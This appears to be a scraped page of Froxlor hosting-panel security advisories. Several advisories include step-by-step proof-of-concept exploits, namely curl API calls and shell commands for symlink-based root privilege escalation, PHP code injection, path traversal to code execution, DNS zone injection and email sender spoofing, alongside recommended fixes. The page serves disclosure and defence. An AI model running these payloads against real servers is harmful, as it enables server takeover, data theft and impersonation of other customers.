Where
-Infinity
0
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Froxlor before 2.3.16 contains an authorization bypass vulnerability that allows authenticated customers to read hidden traffic statistics by calling the Traffic.listing API command. Attackers can authenticate to api.php with their API key and secret to retrieve HTTP, FTP, and mail traffic volumes despite the panel.customerhideoptions restriction.

First published (updated )
Severity
5.3
AV:N/AC:L/AT:N/PR:L/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N

Froxlor before 2.3.16 contains an authorization bypass vulnerability that allows authenticated customers to read hidden traffic statistics by calling the Traffic.listing API command. Attackers can authenticate to api.php with their API key and secret to retrieve HTTP, FTP, and mail traffic volumes despite the panel.customerhideoptions restriction.

First published (updated )
Severity
7.5
AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:H

Summary

DataDump.add() constructs the export destination path from user-supplied input without passing the $fixedhomedir parameter to FileDir::makeCorrectDir(), bypassing the symlink validation that was added to all other customer-facing path operations (likely as the fix for CVE-2023-6069). When the ExportCron runs as root, it executes chown -R on the resolved symlink target, allowing a customer to take ownership of arbitrary directories on the system.

Details

The vulnerability is an incomplete patch. After CVE-2023-6069, symlink validation was added to FileDir::makeCorrectDir() via a $fixedhomedir parameter. When provided, it walks each path component checking for symlinks that escape the customer's home directory (lines 134-157 of lib/Froxlor/FileDir.php).

Every customer-facing API command that builds a path from user input passes this parameter:

php // DirProtections.php:87 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

// DirOptions.php:96 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

// Ftps.php:178 $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

// SubDomains.php:585 return FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

But DataDump.add() was missed:

php // DataDump.php:88 — NO $fixedhomedir parameter $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);

The path flows unvalidated into a cron task (lib/Froxlor/Api/Commands/DataDump.php:133):

php Cronjob::inserttask(TaskId::CREATECUSTOMERDATADUMP, $taskdata);

When ExportCron::handle() runs as root, it executes at lib/Froxlor/Cron/System/ExportCron.php:232:

php FileDir::safeexec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir']));

The chown -R command follows symlinks in its target argument. If $data['destdir'] resolves through a symlink to an arbitrary directory, the attacker's UID/GID is applied recursively to that directory and all its contents.

The Validate::validate() call on line 86 uses an empty pattern, which falls back to /^[^\r\n\t\f\0]$/D — this only strips control characters and does not prevent symlink names. makeSecurePath() strips shell metacharacters and .. traversal but does not check for symlinks.

PoC

Prerequisites: - system.exportenabled = 1 (admin setting) - Customer account with API key and FTP/SSH access

bash Step 1: Create a symlink inside the customer's docroot pointing to a victim directory (customer has FTP/SSH access to their own docroot) ssh customer@server 'ln -s /var/customers/webs/victimcustomer /var/customers/webs/attackercustomer/steal'

Step 2: Schedule data export via API with path pointing to the symlink curl -X POST \ -H "Content-Type: application/json" \ -d '{"header":{"apikey":"CUSTOMERAPIKEY","secret":"CUSTOMERAPISECRET"},"body":{"command":"DataDump.add","params":{"path":"steal","dumpweb":"1"}}}' \ https://panel.example.com/api.php

Expected response: 200 OK with taskdata including destdir

Step 3: Wait for ExportCron to run (hourly cron as root) The cron executes: mkdir -p '/var/customers/webs/attackercustomer/steal/' (follows symlink, dir exists) tar cfz ... -C /var/customers/webs/attackercustomer/ . (tars attacker's web data) chown -R <attackeruid>:<attackergid> '/var/customers/webs/attackercustomer/steal/.tmp/' mv export.tar.gz '/var/customers/webs/attackercustomer/steal/' chown -R <attackeruid>:<attackergid> '/var/customers/webs/attackercustomer/steal/' The final chown resolves the symlink and recursively chowns /var/customers/webs/victimcustomer/ to the attacker's UID/GID.

Step 4: Attacker now owns all of victim's web files ssh customer@server 'ls -la /var/customers/webs/victimcustomer/' All files now owned by attackercustomer UID

For system-level escalation, the symlink can target /etc: ln -s /etc /var/customers/webs/attackercustomer/steal After cron: attacker owns /etc/passwd, /etc/shadow → root shell

Impact

- Horizontal privilege escalation: A customer can take ownership of any other customer's web files, databases exports, and email data on the same server. - Vertical privilege escalation: By targeting system directories (e.g., /etc), the customer can gain read/write access to /etc/passwd and /etc/shadow, enabling creation of a root account or password modification. - Data breach: Full read access to all files in the targeted directory tree, including configuration files with database credentials, application secrets, and user data. - Service disruption: Changing ownership of system directories can break system services.

The attack requires only a single API call and a symlink. The impact is delayed until the next cron run (typically hourly), making it harder to attribute.

Recommended Fix

Pass $customer['documentroot'] as the $fixedhomedir parameter in DataDump.add(), consistent with every other API command:

php // lib/Froxlor/Api/Commands/DataDump.php, line 88 // Before (vulnerable): $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path);

// After (fixed): $path = FileDir::makeCorrectDir($customer['documentroot'] . '/' . $path, $customer['documentroot']);

Additionally, the ExportCron should use chown -h (no-dereference) or validate the destination path is not a symlink before executing chown -R:

php // lib/Froxlor/Cron/System/ExportCron.php, line 232 // Add symlink check before chown if (islink(rtrim($data['destdir'], '/'))) { $cronlog->logAction(FroxlorLogger::CRONACTION, LOGERR, 'Export destination is a symlink, skipping chown for security: ' . $data['destdir']); } else { FileDir::safeexec('chown -R ' . (int)$data['uid'] . ':' . (int)$data['gid'] . ' ' . escapeshellarg($data['destdir'])); }

1 / 3
Source: GitHub
First published (updated )
Severity
9.1
Code Injection, Input Validation
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

PhpHelper::parseArrayToString() writes string values into single-quoted PHP string literals without escaping single quotes. When an admin with changeserversettings permission adds or updates a MySQL server via the API, the privilegeduser parameter (which has no input validation) is written unescaped into lib/userdata.inc.php. Since this file is required on every request via Database::getDB(), an attacker can inject arbitrary PHP code that executes as the web server user on every subsequent page load.

Details

The root cause is in PhpHelper::parseArrayToString() at lib/Froxlor/PhpHelper.php:486:

php // lib/Froxlor/PhpHelper.php:475-487 foreach ($array as $key => $value) { if (!isarray($value)) { if (isbool($value)) { $str .= self::tabPrefix($depth, sprintf("'%s' => %s,\n", $key, $value ? 'true' : 'false')); } elseif (isint($value)) { $str .= self::tabPrefix($depth, "'{$key}' => $value,\n"); } else { if ($key == 'password') { // special case for passwords (nowdoc) $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n"); } else { // VULNERABLE: $value interpolated without escaping single quotes $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n"); } } } }

Note that the password key receives special treatment via nowdoc syntax (line 484), which is safe because nowdoc does not interpret any escape sequences or variable interpolation. However, all other string keys — including user, caption, and caFile — are written directly into single-quoted PHP string literals with no escaping.

The attack path through MysqlServer::add() (lib/Froxlor/Api/Commands/MysqlServer.php:80):

1. validateAccess() (line 82) checks the caller is an admin with changeserversettings 2. privilegeduser is read via getParam() at line 88 with no validation applied 3. mysqlca is also read with no validation at line 86 4. The values are placed into the $sqlroot array at lines 150-160 5. generateNewUserData() is called at line 162, which calls PhpHelper::parseArrayToPhpFile() → parseArrayToString() 6. The result is written to lib/userdata.inc.php via fileputcontents() (line 548) 7. Setting testconnection=0 (line 92, 110) skips the PDO connection test, so no valid MySQL credentials are needed

The generated userdata.inc.php is loaded on every request via Database::getDB() at lib/Froxlor/Database/Database.php:431:

php require Froxlor::getInstallDir() . "/lib/userdata.inc.php";

The MysqlServer::update() method (line 337) has the identical vulnerability with privilegeduser at line 387.

PoC

Step 1: Inject PHP code via MysqlServer.add API

bash curl -s -X POST https://froxlor.example/api.php \ -u 'ADMINAPIKEY:ADMINAPISECRET' \ -H 'Content-Type: application/json' \ -d '{ "command": "MysqlServer.add", "params": { "mysqlhost": "127.0.0.1", "mysqlport": 3306, "privilegeduser": "x'\''.system(\"id\").'\''", "privilegedpassword": "anything", "description": "test", "testconnection": 0 } }'

This writes the following into lib/userdata.inc.php:

php 'user' => 'x'.system("id").'',

Step 2: Trigger code execution

Any subsequent HTTP request to the Froxlor panel triggers Database::getDB(), which requires userdata.inc.php, executing system("id") as the web server user:

bash curl -s https://froxlor.example/

The id output will appear in the response (or can be captured via out-of-band methods for blind execution).

Step 3: Cleanup (attacker would also clean up)

The injected code runs on every request until userdata.inc.php is regenerated or manually fixed.

Impact

An admin with changeserversettings permission can escalate to arbitrary OS command execution as the web server user. This represents a scope change from the Froxlor application boundary to the underlying operating system:

- Full server compromise: Execute arbitrary commands as the web server user (typically www-data) - Data exfiltration: Read all hosted customer data, databases credentials, TLS private keys - Lateral movement: Access all MySQL databases using credentials stored in userdata.inc.php - Persistent backdoor: The injected code executes on every request, providing persistent access - Denial of service: Malformed PHP in userdata.inc.php can break the entire panel

The description field (validated with REGEXDESCTEXT = /^[^\0\r\n<>]$/) and mysqlca field (no validation) are also injectable vectors through the same code path.

Recommended Fix

Escape single quotes in PhpHelper::parseArrayToString() before interpolating values into single-quoted PHP string literals. In single-quoted PHP strings, only \' and \\ are interpreted, so both must be escaped:

php // lib/Froxlor/PhpHelper.php:486 // Before (vulnerable): $str .= self::tabPrefix($depth, "'{$key}' => '{$value}',\n");

// After (fixed) - escape backslashes first, then single quotes: $escaped = strreplace(['\\', "'"], ['\\\\', "\\'"], $value); $str .= self::tabPrefix($depth, "'{$key}' => '{$escaped}',\n");

Alternatively, use the same nowdoc syntax already used for passwords for all string values, which provides complete injection safety:

php // Apply nowdoc to all string values, not just passwords: $str .= self::tabPrefix($depth, "'{$key}' => <<<'EOT'\n{$value}\nEOT,\n");

Additionally, consider adding input validation to privilegeduser and mysqlca in MysqlServer::add() and MysqlServer::update() as defense-in-depth.

1 / 3
Source: GitHub
First published (updated )
Severity
8.5
CRLF Injection, XSS
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:H/A:L

Summary

DomainZones::add() accepts arbitrary DNS record types without a whitelist and does not sanitize newline characters in the content field. When a DNS type not covered by the if/elseif validation chain is submitted (e.g., NAPTR, PTR, HINFO), content validation is entirely bypassed. Embedded newline characters in the content survive trim() processing, are stored in the database, and are written directly into BIND zone files via DnsEntry::toString(). An authenticated customer can inject arbitrary DNS records and BIND directives ($INCLUDE, $ORIGIN, $GENERATE) into their domain's zone file.

Details

Missing type whitelist — DomainZones.php:93:

The type parameter is accepted directly from user input with no validation against allowed values:

php // lib/Froxlor/Api/Commands/DomainZones.php:93 $type = $this->getParam('type', true, 'A');

The if/elseif chain at lines 170-317 validates content only for 13 known types: A, AAAA, CAA, CNAME, DNAME, LOC, MX, NS, RP, SRV, SSHFP, TLSA, TXT. Any type not in this list falls through with no content validation at all. There is a TODO comment at line 148 acknowledging missing validation:

php // TODO regex validate content for invalid characters

Missing newline sanitization — DomainZones.php:154:

The content field only receives trim(), which strips leading/trailing whitespace but preserves embedded newline characters:

php // lib/Froxlor/Api/Commands/DomainZones.php:154 $content = trim($content);

Unsafe zone file output — DnsEntry.php:83:

DnsEntry::toString() concatenates content directly into zone file format without escaping:

php // lib/Froxlor/Dns/DnsEntry.php:83 return $this->record . "\t" . $this->ttl . "\t" . $this->class . "\t" . $this->type . "\t" . (($this->priority >= 0 && ($this->type == 'MX' || $this->type == 'SRV')) ? $this->priority . "\t" : "") . $content . PHPEOL;

Newlines in $content produce new lines in the zone file, each parsed by BIND as an independent resource record or directive.

Zone file write — Bind.php:121:

php // lib/Froxlor/Cron/Dns/Bind.php:121 fwrite($zonefilehandler, $zoneContent . $subzones);

The AntiXSS filter applied at the API layer (Api.php:91) targets HTML/JS XSS vectors and does not strip newline characters. The web UI form restricts types via a dropdown (formfield.dnsadd.php:42-56), but this is client-side only — the server-side DomainZones::add() has no corresponding whitelist.

Execution flow: 1. Customer sends API request with type=NAPTR and content containing \n-separated lines 2. getParam() returns raw values without sanitization 3. Type NAPTR matches none of the if/elseif conditions — no content validation runs 4. trim($content) preserves embedded newlines 5. Content is inserted into domaindns table via prepared statement 6. DNS cron creates DnsEntry objects from DB records (Dns.php:297) 7. DnsEntry::toString() outputs content with embedded newlines into zone format 8. Bind.php:121 writes zone to disk; BIND loads the file and processes injected lines as records

PoC

Step 1: Inject a DNS record with embedded newlines via API

bash curl -s -X POST 'https://froxlor.example.com/api.php' \ -u 'APIKEY:APISECRET' \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "id": 1, "type": "NAPTR", "content": "100 10 \"\" \"\" \"\" .\n@ 300 IN A 1.2.3.4\n@ 300 IN NAPTR 100 10 \"\" \"\" \"\" ." } }'

Expected: HTTP 200 with success response. The record is stored in the database.

Step 2: Wait for DNS cron to rebuild zones (or trigger manually)

bash As admin, trigger the DNS rebuild cron php /var/www/froxlor/scripts/froxlormastercronjob.php --force --dns

Step 3: Inspect the generated zone file

bash cat /etc/bind/domains/example.com.zone

Expected zone file content includes injected lines:

@ 18000 IN NAPTR 100 10 "" "" "" . @ 300 IN A 1.2.3.4 @ 300 IN NAPTR 100 10 "" "" "" .

The line @ 300 IN A 1.2.3.4 is parsed by BIND as an independent A record pointing the domain to the attacker's IP.

Step 4: Verify BIND directive injection

bash curl -s -X POST 'https://froxlor.example.com/api.php' \ -u 'APIKEY:APISECRET' \ -H 'Content-Type: application/json' \ -d '{ "command": "DomainZones.add", "params": { "id": 1, "type": "NAPTR", "content": "100 10 \"\" \"\" \"\" .\n$GENERATE 1-255 $.0.168.192.in-addr.arpa. PTR host-$.example.com." } }'

This injects a $GENERATE directive that creates 255 PTR records.

Impact

An authenticated customer with DNS editing enabled can:

1. Inject arbitrary DNS records bypassing all content validation — including A/AAAA records pointing the domain to attacker-controlled IPs, redirecting legitimate traffic. 2. Manipulate email authentication by injecting TXT records to override SPF, DKIM, or DMARC policies, enabling email spoofing for the domain. 3. Inject BIND server directives ($INCLUDE, $ORIGIN, $GENERATE) that escape the DNS record context and can attempt to include local server files, alter zone origin, or mass-generate records. 4. Cause DNS service disruption by injecting malformed records or conflicting directives that cause the zone file to fail loading, disrupting DNS resolution for all records in the domain.

While this requires an authenticated customer account, DNS editing is a standard feature in shared hosting environments. In a multi-tenant deployment, a malicious customer can abuse this to disrupt the DNS server or inject records that bypass validation controls designed to protect zone integrity.

Recommended Fix

1. Add a type whitelist in DomainZones::add() (primary fix):

php // lib/Froxlor/Api/Commands/DomainZones.php — after line 93 $type = $this->getParam('type', true, 'A');

$allowedtypes = ['A', 'AAAA', 'CAA', 'CNAME', 'DNAME', 'LOC', 'MX', 'NS', 'RP', 'SRV', 'SSHFP', 'TLSA', 'TXT']; if (!inarray($type, $allowedtypes)) { throw new Exception("DNS record type '" . htmlspecialchars($type) . "' is not supported", 406); }

2. Strip newline characters from content (defense-in-depth):

php // lib/Froxlor/Api/Commands/DomainZones.php — replace line 154 $content = trim(strreplace(["\r", "\n"], '', $content));

3. Sanitize in DnsEntry::toString() as a belt-and-suspenders measure:

php // lib/Froxlor/Dns/DnsEntry.php — at the start of toString() $content = strreplace(["\r", "\n"], '', $this->content);

1 / 3
Source: GitHub
First published (updated )
Severity
10
Path Traversal
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

The Froxlor API endpoint Customers.update (and Admins.update) does not validate the deflanguage parameter against the list of available language files. An authenticated customer can set deflanguage to a path traversal payload (e.g., ../../../../../var/customers/webs/customer1/evil), which is stored in the database. On subsequent requests, Language::loadLanguage() constructs a file path using this value and executes it via require, achieving arbitrary PHP code execution as the web server user.

Details

Root cause: The API and web UI have inconsistent validation for the deflanguage parameter.

The web UI (customerindex.php:261, adminindex.php:265) correctly validates deflanguage against Language::getLanguages(), which scans the lng/ directory for actual language files:

php // customerindex.php:260-265 $deflanguage = Validate::validate(Request::post('deflanguage'), 'default language'); if (isset($languages[$deflanguage])) { Customers::getLocal($userinfo, [ 'id' => $userinfo['customerid'], 'deflanguage' => $deflanguage ])->update();

The API (Customers.php:1207, Admins.php:600) only runs Validate::validate() with the default regex /^[^\r\n\t\f\0]$/D, which permits path traversal sequences:

php // Customers.php:1167-1172 (customer branch) } else { // allowed parameters $deflanguage = $this->getParam('deflanguage', true, $result['deflanguage']); ... } // Customers.php:1207 - validation (shared by admin and customer paths) $deflanguage = Validate::validate($deflanguage, 'default language', '', '', [], true);

The tainted value is stored in the panelcustomers (or paneladmins) table. On every subsequent request, it is loaded and used in two paths:

API path (ApiCommand.php:218-222): php private function initLang() { Language::setLanguage(Settings::Get('panel.standardlanguage')); if ($this->getUserDetail('language') !== null && isset(Language::getLanguages()[$this->getUserDetail('language')])) { Language::setLanguage($this->getUserDetail('language')); } elseif ($this->getUserDetail('deflanguage') !== null) { Language::setLanguage($this->getUserDetail('deflanguage')); // No validation } }

Web path (init.php:180-185): php if (CurrentUser::hasSession()) { if (!empty(CurrentUser::getField('language')) && isset(Language::getLanguages()[CurrentUser::getField('language')])) { Language::setLanguage(CurrentUser::getField('language')); } else { Language::setLanguage(CurrentUser::getField('deflanguage')); // No validation } }

The language session field is null for API requests and empty on fresh web logins, so both paths fall through to the unvalidated deflanguage.

File inclusion (Language.php:89-98): php private static function loadLanguage($iso): array { $languageFile = dirname(DIR, 2) . sprintf('/lng/%s.lng.php', $iso); if (!fileexists($languageFile)) { return []; } $lng = require $languageFile; // Arbitrary PHP execution

With $iso = '../../../../../var/customers/webs/customer1/evil', the path resolves to /var/customers/webs/customer1/evil.lng.php, escaping the lng/ directory.

PoC

Step 1 — Upload malicious language file via FTP:

Froxlor customers have FTP access to their web directory by default (apiallowed defaults to 1 in the schema).

bash Create malicious .lng.php file echo '<?php system("id > /tmp/pwned"); return [];' > evil.lng.php

Upload to customer web directory via FTP ftp panel.example.com put evil.lng.php

The file is now at /var/customers/webs/<loginname>/evil.lng.php.

Step 2 — Set traversal payload via API:

bash curl -s -X POST https://panel.example.com/api \ -H 'Authorization: Basic <base64(apikey:apisecret)>' \ -d '{"command":"Customers.update","params":{"deflanguage":"../../../../../var/customers/webs/customer1/evil"}}'

The traversal path is stored in the database. The .lng.php suffix is appended automatically by Language::loadLanguage().

Step 3 — Trigger inclusion on next API call:

bash curl -s -X POST https://panel.example.com/api \ -H 'Authorization: Basic <base64(apikey:apisecret)>' \ -d '{"command":"Customers.get"}'

ApiCommand::initLang() loads deflanguage from the database and passes it to Language::setLanguage() → loadLanguage() → require /var/customers/webs/customer1/evil.lng.php.

Step 4 — Verify execution:

bash cat /tmp/pwned Output: uid=33(www-data) gid=33(www-data) groups=33(www-data)

Impact

An authenticated customer can execute arbitrary PHP code as the web server user. This enables:

- Full server compromise: Read lib/userdata.inc.php to obtain database credentials, then access all customer data, admin credentials, and server configuration. - Lateral movement: Access other customers' databases, email, and files from the shared hosting environment. - Persistent backdoor: Modify Froxlor source files or cron configurations to maintain access. - Data exfiltration: Read all hosted databases and email content across the panel.

The attack is practical because Froxlor is a hosting panel where customers have FTP access by default, and API access is enabled by default (apiallowed = 1). The .lng.php suffix constraint is not a meaningful barrier since the attacker controls file creation in their web directory.

Recommended Fix

Validate deflanguage against the actual language file list in the API endpoints, matching the web UI behavior:

php // In Customers.php, replace line 1207: // $deflanguage = Validate::validate($deflanguage, 'default language', '', '', [], true);

// With: $deflanguage = Validate::validate($deflanguage, 'default language', '', '', [], true); if (!empty($deflanguage) && !isset(Language::getLanguages()[$deflanguage])) { $deflanguage = Settings::Get('panel.standardlanguage'); }

Apply the same fix in Admins.php at line 600.

Additionally, add a defensive check in Language::loadLanguage() to prevent path traversal:

php private static function loadLanguage($iso): array { // Reject path traversal attempts if ($iso !== basename($iso) || strcontains($iso, '..')) { return []; } $languageFile = dirname(DIR, 2) . sprintf('/lng/%s.lng.php', $iso); // ... }

1 / 3
Source: GitHub
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L

Summary

In Domains.add(), the adminid parameter is accepted from user input and used without validation when the calling reseller does not have the customersseeall permission. This allows a reseller to attribute newly created domains to any other admin, bypassing their own domain quota (since the wrong admin's domainsused counter is incremented) and potentially exhausting another admin's quota.

Details

In lib/Froxlor/Api/Commands/Domains.php, the add() method accepts adminid as an optional parameter at line 327:

php $adminid = intval($this->getParam('adminid', true, $this->getUserDetail('adminid')));

The validation for this parameter only runs when the caller has customersseeall == '1' (lines 410-421):

php if ($this->getUserDetail('customersseeall') == '1' && $adminid != $this->getUserDetail('adminid')) { $adminstmt = Database::prepare(" SELECT FROM " . TABLEPANELADMINS . " WHERE adminid = :adminid AND (domainsused < domains OR domains = '-1')"); $admin = Database::pexecutefirst($adminstmt, [ 'adminid' => $adminid ], true, true); if (empty($admin)) { Response::dynamicError("Selected admin cannot have any more domains or could not be found"); } unset($admin); }

When a reseller does not have customersseeall (the common case for limited resellers), there is no else branch to force $adminid = $this->getUserDetail('adminid'). The unvalidated $adminid flows directly into:

1. The domain INSERT at line 757: 'adminid' => $adminid 2. The quota increment at lines 862-868: php $updstmt = Database::prepare(" UPDATE " . TABLEPANELADMINS . " SET domainsused = domainsused + 1 WHERE adminid = :adminid "); Database::pexecute($updstmt, ['adminid' => $adminid], true, true);

Compare with Domains.update() at lines 1386-1387 which correctly handles this case:

php } else { $adminid = $result['adminid']; }

The initial quota check at line 321 checks the caller's own quota ($this->getUserDetail('domainsused')), but since the caller's domainsused is never incremented (the wrong admin's counter is incremented instead), this check passes indefinitely.

Note: The getCustomerData() call at line 407 does correctly restrict the customerid to the reseller's own customers (via Customers.get which filters by adminid). However, this does not prevent the adminid field itself from being spoofed.

PoC

bash Step 1: Create a domain with the reseller's API key, specifying a different admin's ID curl -s -u RESELLERAPIKEY:RESELLERAPISECRET -X POST https://froxlor.example/api.php \ -d '{"command": "Domains.add", "params": {"domain": "bypass-test-1.com", "customerid": 3, "adminid": 1}}'

Where: - RESELLERAPIKEY:RESELLERAPISECRET = API credentials for a reseller WITHOUT customersseeall - customerid=3 = one of the reseller's own customers - adminid=1 = the super-admin's ID (or any other admin's ID)

Step 2: Verify the domain was created with adminid=1 In the database: SELECT adminid, domain FROM paneldomains WHERE domain='bypass-test-1.com'; Expected: adminid=1

Step 3: Check the reseller's quota was NOT incremented In the database: SELECT adminid, domainsused, domains FROM paneladmins WHERE adminid=<resellerid>; Expected: domainsused unchanged

Step 4: Check the target admin's quota WAS incremented In the database: SELECT adminid, domainsused, domains FROM paneladmins WHERE adminid=1; Expected: domainsused incremented by 1

Step 5: Repeat with different domain names to demonstrate unlimited creation curl -s -u RESELLERAPIKEY:RESELLERAPISECRET -X POST https://froxlor.example/api.php \ -d '{"command": "Domains.add", "params": {"domain": "bypass-test-2.com", "customerid": 3, "adminid": 1}}'

curl -s -u RESELLERAPIKEY:RESELLERAPISECRET -X POST https://froxlor.example/api.php \ -d '{"command": "Domains.add", "params": {"domain": "bypass-test-3.com", "customerid": 3, "adminid": 1}}'

The reseller's domainsused remains unchanged, allowing indefinite creation

Impact

1. Quota bypass: A reseller can create unlimited domains beyond their allocated quota, since their own domainsused counter is never incremented. 2. Quota exhaustion DoS: The target admin's domainsused counter is incremented instead, potentially exhausting their quota and preventing legitimate domain creation. 3. Data integrity violation: Domains are associated with an admin who does not own the customer, breaking the ownership model. These domains become invisible to the reseller in domain listings (which filter by adminid) but remain active on the server. 4. Accounting inaccuracy: Resource usage reporting and billing tied to admin quotas becomes incorrect.

Recommended Fix

Add an else branch to force $adminid to the caller's own admin ID when customersseeall != '1', consistent with the pattern used in Domains.update():

php // In lib/Froxlor/Api/Commands/Domains.php, after line 421:

if ($this->getUserDetail('customersseeall') == '1' && $adminid != $this->getUserDetail('adminid')) { $adminstmt = Database::prepare(" SELECT FROM " . TABLEPANELADMINS . " WHERE adminid = :adminid AND (domainsused < domains OR domains = '-1')"); $admin = Database::pexecutefirst($adminstmt, [ 'adminid' => $adminid ], true, true); if (empty($admin)) { Response::dynamicError("Selected admin cannot have any more domains or could not be found"); } unset($admin); } else { // Force adminid to the caller's own ID when they don't have customersseeall $adminid = intval($this->getUserDetail('adminid')); }

1 / 3
Source: GitHub
First published (updated )
Severity
5
AV:N/AC:L/PR:L/UI:N/S:C/C:N/I:L/A:N

Summary

In EmailSender::add(), the domain ownership validation for full email sender aliases uses the wrong array index when splitting the email address, passing the local part instead of the domain to validateLocalDomainOwnership(). This causes the ownership check to always pass for non-existent "domains," allowing any authenticated customer to add sender aliases for email addresses on domains belonging to other customers. Postfix's senderloginmaps then authorizes the attacker to send emails as those addresses.

Details

In lib/Froxlor/Api/Commands/EmailSender.php at line 100, when a customer adds a full email address (not a @domain wildcard) as an allowed sender, the code splits on @ and takes index [0]:

php // Line 96-106 if (substr($allowedsender, 0, 1) != '@') { if (!Validate::validateEmail($idnaconvert->encode($allowedsender))) { Response::standardError('emailiswrong', $allowedsender, true); } self::validateLocalDomainOwnership(explode("@", $allowedsender)[0] ?? ""); // BUG: [0] is the local part } else { if (!Validate::validateDomain($idnaconvert->encode(substr($allowedsender, 1)))) { Response::standardError('wildcardemailiswrong', substr($allowedsender, 1), true); } self::validateLocalDomainOwnership(substr($allowedsender, 1)); // CORRECT: passes domain }

For input admin@domain-b.com, explode("@", "admin@domain-b.com") returns ["admin", "domain-b.com"]. Index [0] is "admin" — the local part, not the domain.

The validateLocalDomainOwnership() function (lines 346-355) then queries paneldomains for a domain matching "admin":

php private static function validateLocalDomainOwnership(string $domain): void { $selstmt = Database::prepare("SELECT customerid FROM " . TABLEPANELDOMAINS . " WHERE domain = :domain"); $domainresult = Database::pexecutefirst($selstmt, ['domain' => $domain]); if ($domainresult && $domainresult['customerid'] != CurrentUser::getField('customerid')) { Response::standardError('senderdomainnotowned', $domain, true); } }

Since no domain named "admin" exists in paneldomains, $domainresult is false, and the function returns without error — the ownership check silently passes.

The inserted mailsenderaliases row is then picked up by Postfix's senderloginmaps query (configured in mysql-virtualsenderpermissions.cf):

sql ... UNION (SELECT mailsenderaliases.email FROM mailsenderaliases WHERE mailsenderaliases.allowedsender = '%s') ...

This query maps the allowedsender back to the mail user, authorizing them to send as that address via SMTP.

PoC

bash Prerequisites: Froxlor instance with mail.enableallowsender enabled, two customers: Customer A (owns domain-a.com) and Customer B (owns domain-b.com)

Step 1: As Customer A, add a sender alias claiming Customer B's domain Via API: curl -X POST 'https://froxlor-host/api/v1/' \ -H 'Authorization: Basic <customer-A-credentials>' \ -H 'Content-Type: application/json' \ -d '{ "command": "EmailSender.add", "params": { "emailaddr": "myaccount@domain-a.com", "allowedsender": "ceo@domain-b.com" } }'

Expected: Error "senderdomainnotowned" because domain-b.com belongs to Customer B Actual: 200 OK — alias is created because validateLocalDomainOwnership receives "ceo" (local part) instead of "domain-b.com" (domain)

Step 2: Verify the alias was inserted curl -X POST 'https://froxlor-host/api/v1/' \ -H 'Authorization: Basic <customer-A-credentials>' \ -H 'Content-Type: application/json' \ -d '{ "command": "EmailSender.listing", "params": {"emailaddr": "myaccount@domain-a.com"} }'

Step 3: Customer A can now send email as ceo@domain-b.com via SMTP because Postfix senderloginmaps will match the mailsenderaliases entry and authorize Customer A's mail account to use that sender address.

The same attack works via the web UI by POST-ing to customeremail.php with action=addsender and the target domain in alloweddomain.

Impact

Any authenticated customer on a multi-tenant Froxlor instance can add sender aliases for email addresses on domains belonging to other customers. This allows:

- Cross-customer email spoofing: Send emails impersonating users on other customers' domains, bypassing Postfix's smtpdsenderloginmaps restriction that is specifically designed to prevent this. - Multi-tenant isolation breach: The domain ownership check (validateLocalDomainOwnership) is the only barrier preventing cross-customer sender aliasing, and it is completely ineffective for full email addresses. - Phishing and reputation damage: Spoofed emails originate from the legitimate mail server, passing SPF/DKIM checks for the target domain if those records point to the Froxlor server.

Note: The wildcard (@domain) code path at line 105 is not affected — it correctly passes the domain to validateLocalDomainOwnership().

Recommended Fix

Change index [0] to [1] on line 100 of lib/Froxlor/Api/Commands/EmailSender.php:

php // Before (line 100): self::validateLocalDomainOwnership(explode("@", $allowedsender)[0] ?? "");

// After: self::validateLocalDomainOwnership(explode("@", $allowedsender)[1] ?? "");

This ensures the domain part of the email address is passed to the ownership validation, matching the behavior of the wildcard path on line 105.

1 / 3
Source: GitHub
First published (updated )
Severity
5.3
AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N

Froxlor contains Unchecked Error Condition

1 / 2
Source: Packagist
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

Froxlor Session Fixation vulnerability

1 / 3
Source: Packagist
First published (updated )
Severity
4.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N

Froxlor Improper Authorization vulnerability

1 / 2
Source: Packagist
First published (updated )
Severity
5.4
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Argument Injection in GitHub repository froxlor/froxlor prior to 2.0.0-beta1.

1 / 2
First published (updated )
Severity
9.1
OS Command Injection, Input Validation, CSRF, Command Injection
AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H

Summary

A typo in Froxlor's input validation code (== instead of =) completely disables email format checking for all settings fields declared as email type. This allows an authenticated admin to store arbitrary strings — including shell metacharacters — in the panel.adminmail setting. This value is later concatenated into a shell command executed as root by a cron job, where the pipe character | is explicitly whitelisted. The result is full root-level Remote Code Execution.

---

Why This Is a Security Vulnerability (Not Just "Admin Using Admin Features")

Froxlor is a shared hosting control panel. In production deployments:

1. Admin panel access does not equal root access. Hosting providers assign the Froxlor admin role to staff who manage customer accounts, domains, and services through the web UI. These operators are not given SSH access or root shell on the underlying server. The boundary between "panel admin" and "OS root" is a deliberate security design.

2. Froxlor itself enforces this boundary. The safeexec() function (FileDir.php:224-264) exists specifically to prevent shell injection — it blocks ;, |, &, >, <, , $, ~, ?. The email validation function (validateFormFieldEmail) exists specifically to ensure email fields contain valid emails. Both mechanisms are security boundaries that this vulnerability bypasses.

